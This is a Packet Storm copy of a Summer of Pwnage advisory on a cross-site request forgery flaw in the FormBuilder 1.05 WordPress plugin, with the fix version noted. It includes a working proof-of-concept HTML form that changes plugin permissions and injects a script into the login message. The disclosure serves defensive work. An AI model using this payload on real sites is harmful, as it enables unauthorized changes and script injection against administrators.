what you don't know can hurt you

WordPress FormBuilder 1.05 Cross Site Request Forgery

WordPress FormBuilder 1.05 Cross Site Request Forgery
Posted Jan 28, 2017
Authored by Securify B.V., Burak Kelebek

WordPress FormBuilder plugin version 1.05 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | a69e1aad24d87f905f2b72d15d87e252

WordPress FormBuilder 1.05 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery vulnerability in FormBuilder WordPress Plugin
allows plugin permissions modification
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Request Forgery vulnerability has been encountered in the
FormBuilder WordPress Plugin. This issue allows an attacker to change
permission settings for the plugin by luring a logged on WordPress
Administrator into following a malicious link.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0005

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on FormBuilder version 1.05.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in FormBuilder version 1.08.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_formbuilder_wordpress_plugin_allows_plugin_permissions_modification.html

The FormBuilder plugin lacks a CSRF (nonce) token on the request of saving permissions. Because of this an attacker is able to change permission settings for the plugin. To achieve this a logged on WordPress Administrator must be lured into following a malicious link. Proof of Concept code that demonstrates this issue can be found below.
Proof of concept

The Proof of Concept code below injects script code in the "Login Required Message" in the settings page of the FormBuilder plugin.

<html>
<body>
<form action="http://build.wordpress-develop.dev/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="task" value="wdm_save_settings" />
<input type="hidden" name="action" value="wdm_settings" />
<input type="hidden" name="section" value="basic" />
<input type="hidden" name="wpdm_permission_msg" value="Access Denied" />
<input type="hidden" name="wpdm_login_msg" value="<script>alert('csrf xss')</script>'" />
<input type="hidden" name="_wpdm_file_browser_root" value="/srv/www/wordpress-develop/build/" />
<input type="hidden" name="_wpdm_file_browser_access[]" value="administrator" />
<input type="hidden" name="__wpdm_sanitize_filename" value="0" />
<input type="hidden" name="__wpdm_download_speed" value="4096" />
<input type="hidden" name="__wpdm_download_resume" value="1" />
<input type="hidden" name="__wpdm_support_output_buffer" value="1" />
<input type="hidden" name="__wpdm_open_in_browser" value="0" />
<input type="hidden" name="_wpdm_recaptcha_site_key" value="" />
<input type="hidden" name="_wpdm_recaptcha_secret_key" value="" />
<input type="hidden" name="__wpdm_disable_scripts[]" value="" />
<input type="hidden" name="__wpdm_login_url" value="" />
<input type="hidden" name="__wpdm_register_url" value="" />
<input type="hidden" name="__wpdm_user_dashboard" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    15 Files
  • 4
    Apr 4th
    5 Files
  • 5
    Apr 5th
    5 Files
  • 6
    Apr 6th
    27 Files
  • 7
    Apr 7th
    31 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close